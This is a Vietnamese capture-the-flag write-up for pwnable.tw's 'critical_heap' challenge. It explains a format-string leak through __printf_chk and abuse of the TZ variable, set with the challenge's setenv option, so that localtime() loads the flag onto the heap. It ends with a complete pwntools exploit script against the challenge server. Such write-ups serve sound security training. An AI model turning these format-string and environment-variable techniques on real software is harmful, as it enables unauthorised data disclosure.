pwnable.tw

criticalheap

Vuln: User được setenv() tuỳ ý.

tl;dr: Sử dụng strace; Đọc man page; localtime() có sử dụng đến env var "TZ".

March 10, 2026 Easy

Recon

Mitigation

$ file critical_heap
critical_heap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=c9ba3eb6d5e3ea835f852a63550c664e970d07e4, stripped
$ pwn checksec critical_heap
[*] '/home/hungnt/pwnable.tw/criticalheap/share/critical_heap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled

GLIBC Version

pwndbg> libc
libc: glibc
libc version: 2.23
linked: dynamically
URLs:
    project homepage:       https://sourceware.org/glibc/
    read the source:        https://elixir.bootlin.com/glibc/glibc-2.23/source
    download the archive:   https://ftp.gnu.org/gnu/libc/glibc-2.23.tar.gz
    git clone               https://sourceware.org/git/glibc.git
Mappings:
    libc is at:             0x7ffff7800000
           /home/hungnt/pwnable.tw/criticalheap/share/libc-2.23.so
    ld is at:               0x7ffff7c00000
           /home/hungnt/pwnable.tw/criticalheap/share/ld-2.23.so
Symbolication:
    has exported symbols:  yes
    has internal symbols:  yes
    has debug info:        yes

Solve

Bug quan trọng đầu tiên mình nhìn ra là format string bug với hàm printf_chk() khi Play với normal heap, với flag đc truyền vào = 1, là bật FORTIFY. Về cơ bản là mình chỉ có read primitive thôi, ko write đc, vì nó chặn %n cũng như là %N$ (cái này thì tuỳ bản libc thì phải?).

unsigned __int64 __fastcall PlayWithNormal(__int64 a1)
{
  int choice; // eax
  char buf[40]; // [rsp+20h] [rbp-30h] BYREF
  unsigned __int64 v4; // [rsp+48h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  while ( 1 )
  {
    while ( 1 )
    {
      NormalMenu();
      choice = read_int();
      if ( choice != 2 )
        break;
      if ( *(_QWORD *)(a1 + 64) )               // check for locked
      {
        puts("You can't change it anymore !");
      }
      else
      {
        printf("Content :");
        read(0, buf, 40uLL);
        strncpy((char *)(a1 + 24), buf, 40uLL); // this is safe, since strncpy take 40 bytes max
                                                // null byte is appended at the end but its canary so nothing serious
        *(_QWORD *)(a1 + 64) = 0x211B211B12345678LL;// locked
      }
    }
    if ( choice == 3 )
      break;
    if ( choice == 1 )
    {
      printf("Content :");
      _printf_chk(1LL, a1 + 24);                // format string bug
                                                // but only read primitive
    }
    else
    {
      puts("Invalid choice");
    }
  }
  return __readfsqword(0x28u) ^ v4;
}

Thế thì mình dùng fmb để leak địa chỉ libc, stack, heap. Rồi nhưng sao nữa? Mình chẳng tìm thấy cái bug nào nữa cho mình write primitive.

Mình thấy chương trình có cho phép setenv() và unsetenv() tuỳ ý, thì mình hỏi Perplexity rằng 2 hàm này có gì đặc biệt ko, có những env var nào làm thay đổi hành vi của chương trình?

Mình chỉ tìm hiểu đc là setenv() sẽ thêm vào list pointer environ con trỏ mới trỏ đến cặp “key=value” (trên heap). List environ này là một mảng động, nếu số lượng phần tử đạt capacity, thì nó sẽ realloc() một chunk mới trên heap và copy list các con trỏ sang. Vậy thì nó có malloc và free bên trong nó. Hmm, nhưng mình ko lợi dụng đc cái gì.

Khả năng cao là mình cần lợi dụng env để làm gì đó nhưng mình chưa biết làm gì cả, mình vẫn tự hỏi rằng có env var nào làm thay đổi hành vi của chương trình ko? Nhưng mình ko biết tìm ra nó kiểu gì? Vậy có thể là cái mới mình chưa biết, vậy thôi hỏi AI vậy:

Hmm ok, rồi giờ mình biết là localtime() nó sử dụng env var là TZ, thế thì đọc flag quá dễ rồi. Nhưng làm sao để mình biết đc như vậy? Mình cần phải suy luận thế nào để biết đc localtime() nó làm như vậy. Đây là mình đọc writeup rồi mới biết, ko phục.

Vẫn là ý tưởng có env var nào làm thay đổi hành vi của chương trình ko. Đọc mã giả của binary thì chắc chắn ko có rồi, thế vậy mình cần phải xem binary gọi đến các hàm thư viện nào, cụ thể là xem các GOT entries:

Mình sử dụng strace để trace các syscall khi chương trình gọi đến các lib functions mà mình thấy lạ lạ như localtime(), realpath(), getcwd() cần dùng đến các thông tin của hệ điều hành như là time, filesystem,..

Ok coi như mình thử lần lượt đi, mình tạo heap type Clock để trigger localtime():

unsigned __int64 __fastcall Clock(__int64 a1)
{
  time_t timer; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  *(_QWORD *)(a1 + 16) = '\xDE\xAD\xBE\xEF';
  timer = time(0LL);
  *(_QWORD *)(a1 + 24) = localtime(&timer);
  *(_DWORD *)(a1 + 32) = *(_DWORD *)(*(_QWORD *)(a1 + 24) + 20LL) + 1900;
  *(_DWORD *)(a1 + 36) = *(_DWORD *)(*(_QWORD *)(a1 + 24) + 16LL) + 1;
  *(_DWORD *)(a1 + 40) = *(_DWORD *)(*(_QWORD *)(a1 + 24) + 12LL);
  *(_DWORD *)(a1 + 44) = *(_DWORD *)(*(_QWORD *)(a1 + 24) + 8LL);
  *(_DWORD *)(a1 + 48) = *(_DWORD *)(*(_QWORD *)(a1 + 24) + 4LL);
  *(_DWORD *)(a1 + 52) = **(_DWORD **)(a1 + 24);
  puts("Done !!");
  return __readfsqword(0x28u) ^ v3;
}

Ok mình thấy nó OR /etc/localtime:

Mình thử quăng libc vô IDA xem nó làm gì? Nó gọi đến hàm tz_convert():

Hmm nó getenv(“TZ”), nếu ko có value thì sẽ gán “/etc/localtime”:

Rồi tzfile_read() sẽ đọc từ path đó?

Liệu mình có thể ghi đè value của TZ để ORW đến flag? Bây giờ nhìn source code thì hơi loằng ngoằng, mình thử đọc trên man page của localtime() xem:

Nhìn tzset() thì chắc là liên quan đến tz_convert() chăng?

Vậy xác nhận có sử dụng đến env var TZ. Nhưng sao man page và libc code lại tên khác nhau nhỉ? Thôi đc rồi, mình thử setenv() TZ=/etc/passwd xem sao:

Ồ vậy là OR đc, nhưng vào đâu nhỉ? Mình debug để catch syscall open:

pwndbg> catch syscall open
Catchpoint 2 (syscall 'open' [2])
pwndbg> catch syscall read
Catchpoint 3 (syscall 'read' [0])
pwndbg> catch syscall write
Catchpoint 4 (syscall 'write' [1])

Nó open file này:

Rồi đọc nội dung vào địa chỉ này trên heap:

Offset là:

pwndbg> xinfo 0x10adb450
Extended information for virtual address 0x10adb450:

  Containing mapping:
        0x10adb000         0x10afc000 rw-p    21000       0 [heap]

  Offset information:
         Mapped Area 0x10adb450 = 0x10adb000 + 0x450

Ok, vậy là flag đã ở trên heap. Mình lợi dụng fmb để đọc là xong :)

Script

#!/usr/bin/env python3
from pwn import *
import shutil
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\0"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda l, c: c * l
z = lambda l: l * b'\0'
A = lambda l: l * b'A'

e = context.binary = ELF('./critical_heap_patched', checksec=False)
libc = ELF('./libc-2.23.so', checksec=False)
ld = ELF('./ld-2.23.so', checksec=False)

TERMINAL = 0
USE_PTY = False
GDB_ATTACH_DELAY = 1
ALLOW_MEM = 0

_wsl_distro = os.environ.get("WSL_DISTRO_NAME", "Ubuntu")
terms = {
    1: ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"],
    2: ["tmux", "split-window", "-h"],
    3: ["/mnt/c/Windows/system32/cmd.exe", "/c", "start", "wt.exe",
        "-w", "0", "split-pane", "-V", "-s", "0.5",
        "wsl.exe", "-d", _wsl_distro, "bash", "-c"],
}

if TERMINAL == 0:
    if shutil.which("tilix"):
        context.terminal = terms[1]
    elif os.path.exists("/proc/version") and "microsoft" in open("/proc/version").read().lower():
        context.terminal = terms[3]
    elif shutil.which("tmux"):
        context.terminal = terms[2]
    else:
        raise ValueError("Auto-detect failed: none of tilix, wsl2, tmux found")
elif TERMINAL in terms:
    context.terminal = terms[TERMINAL]
else:
    raise ValueError(f"Unknown terminal: {TERMINAL}")

gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on
# catch syscall open
b *0x40194B
continue
'''

def attach(p):
    if args.GDB:
        gdb.attach(p, gdbscript=gdbscript)
        sleep(GDB_ATTACH_DELAY)

def _mem_limit():
    if ALLOW_MEM > 0:
        import resource
        limit = int(ALLOW_MEM * 1024 ** 3)
        resource.setrlimit(resource.RLIMIT_AS, (limit, limit))

def conn():
    if args.LOCAL:
        if USE_PTY:
            p = process([e.path], stdin=PTY, stdout=PTY, stderr=PTY, preexec_fn=_mem_limit)
        else:
            p = process([e.path], preexec_fn=_mem_limit)
        sleep(0.25)
        attach(p)
        return p
    else:
        host = "chall.pwnable.tw"
        port = 10500
        return remote(host, port)

def choose_main(n):
    slan(p, b"Your choice :", n)

def choose_sub(n):
    slan(p, b"Your choice :", n)

def create_normal(name, content):
    choose_main(1)
    sla(p, b"Name of heap:", name)
    choose_sub(1)
    sla(p, b"Content of heap :", content)

def create_clock(name):
    choose_main(1)
    sla(p, b"Name of heap:", name)
    choose_sub(2)

def create_system(name):
    choose_main(1)
    sla(p, b"Name of heap:", name)
    choose_sub(3)

def show(idx):
    choose_main(2)
    slan(p, b"Index of heap :", idx)

def play(idx):
    choose_main(4)
    slan(p, b"Index of heap :", idx)

def normal_show():
    choose_sub(1)

def normal_change(content):
    choose_sub(2)
    sa(p, b"Content :", content)

def system_setenv(key, value):
    choose_sub(1)
    sla(p, b"Give me a name for the system heap :", key)
    sla(p, b"Give me a value for this name :", value)

def system_return():
    choose_sub(5)

attempt = 0
while True:
    attempt += 1
    print("\n----------> Attempt", attempt)
    
    p = conn()

    create_system(A(0x20)) # 0

    play(0)
    system_setenv(b'TZ', b'/home/critical_heap++/flag')
    system_return()

    # Read from /home/critical_heap++/flag
    create_clock(A(0x20)) # 1

    print("Leaking heap address")
    create_normal(A(0x20), f'%p%p%p%p%p|heap=%s|') # 2
    play(2)

    normal_show()
    ru(p, b'heap=')
    heap_base = leak_bytes(ru(p, b'|')[:-1], 0x220)
    lg("heap base", heap_base)

    flag_addr = heap_base + 0x450
    lg("Flag at", flag_addr)

    normal_change(b'%p'*11 + f'%s'.encode() + p64(flag_addr))
    normal_show()

    ru(p, b'0x7325702570257025')
    print(ru(p, b'}'))    
    p.close()
    break